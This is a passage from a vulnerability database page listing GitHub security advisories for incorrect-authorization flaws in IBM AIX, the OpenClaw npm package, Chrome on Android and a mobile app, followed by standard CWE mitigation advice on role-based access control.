"details": "IBM AIX\u00a07.2, 7.3, VIOS 3.1, and 4.1\n\ncould allow a non-privileged local user to exploit a vulnerability in the AIX perfstat kernel extension to cause a denial of service.",
"id": "GHSA-qjxq-6v9g-fx7f",
"modified": "2025-09-29T18:33:09Z",
"published": "2024-12-25T15:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47102"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7179826"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QM2M-28PF-HGJW
Vulnerability from github – Published: 2026-03-27 22:30 – Updated: 2026-04-10 17:29Summary
Gateway Plugin HTTP auth: "gateway" Mints operator.admin Runtime Scope
Affected Packages / Versions
- Package:
openclaw - Affected versions:
<= 2026.3.24 - First patched version:
2026.3.25 - Latest published npm version at verification time:
2026.3.24
Details
Gateway-authenticated plugin HTTP routes previously created a runtime scope set that included operator.admin regardless of caller-granted scopes. Commit ec2dbcff9afd8a52e00de054b506c91726d9fbbe keeps plugin HTTP runtime scopes least-privileged and preserves caller scope boundaries.
Verified vulnerable on tag v2026.3.24 and fixed on main by commit ec2dbcff9afd8a52e00de054b506c91726d9fbbe.
Fix Commit(s)
ec2dbcff9afd8a52e00de054b506c91726d9fbbe
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2026.3.24"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35669"
],
"database_specific": {
"cwe_ids": [
"CWE-266",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T22:30:57Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nGateway Plugin HTTP auth: \"gateway\" Mints operator.admin Runtime Scope\n\n## Affected Packages / Versions\n\n- Package: `openclaw`\n- Affected versions: `\u003c= 2026.3.24`\n- First patched version: `2026.3.25`\n- Latest published npm version at verification time: `2026.3.24`\n\n## Details\n\nGateway-authenticated plugin HTTP routes previously created a runtime scope set that included `operator.admin` regardless of caller-granted scopes. Commit `ec2dbcff9afd8a52e00de054b506c91726d9fbbe` keeps plugin HTTP runtime scopes least-privileged and preserves caller scope boundaries.\n\nVerified vulnerable on tag `v2026.3.24` and fixed on `main` by commit `ec2dbcff9afd8a52e00de054b506c91726d9fbbe`.\n\n## Fix Commit(s)\n\n- `ec2dbcff9afd8a52e00de054b506c91726d9fbbe`",
"id": "GHSA-qm2m-28pf-hgjw",
"modified": "2026-04-10T17:29:55Z",
"published": "2026-03-27T22:30:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-qm2m-28pf-hgjw"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/ec2dbcff9afd8a52e00de054b506c91726d9fbbe"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Gateway Plugin HTTP Auth Grants Unrestricted operator.admin Runtime Scope to All Callers"
}
GHSA-QM38-G6P6-R6VR
Vulnerability from github – Published: 2023-01-10 21:30 – Updated: 2023-01-13 15:30Inappropriate implementation in in Permission prompts in Google Chrome on Android prior to 109.0.5414.74 allowed a remote attacker to bypass main origin permission delegation via a crafted HTML page. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2023-0133"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-10T20:15:00Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in in Permission prompts in Google Chrome on Android prior to 109.0.5414.74 allowed a remote attacker to bypass main origin permission delegation via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-qm38-g6p6-r6vr",
"modified": "2023-01-13T15:30:27Z",
"published": "2023-01-10T21:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0133"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2023/01/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://crbug.com/1375132"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202305-10"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202311-11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QM7M-G6P5-JMMR
Vulnerability from github – Published: 2022-05-24 17:42 – Updated: 2023-08-08 15:31Mobile application "Testes de Codigo" 11.4 and prior allows an attacker to gain access to the administrative interface and premium features by tampering the boolean value of parameters "isAdmin" and "isPremium" located on device storage.
{
"affected": [],
"aliases": [
"CVE-2021-25648"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-16T15:15:00Z",
"severity": "CRITICAL"
},
"details": "Mobile application \"Testes de Codigo\" 11.4 and prior allows an attacker to gain access to the administrative interface and premium features by tampering the boolean value of parameters \"isAdmin\" and \"isPremium\" located on device storage.",
"id": "GHSA-qm7m-g6p5-jmmr",
"modified": "2023-08-08T15:31:16Z",
"published": "2022-05-24T17:42:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25648"
},
{
"type": "WEB",
"url": "https://vrls.ws/posts/2021/02/cve-2021-25648-mobile-application-testes-de-codigo-privilege-escalation"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
No CAPEC attack patterns related to this CWE.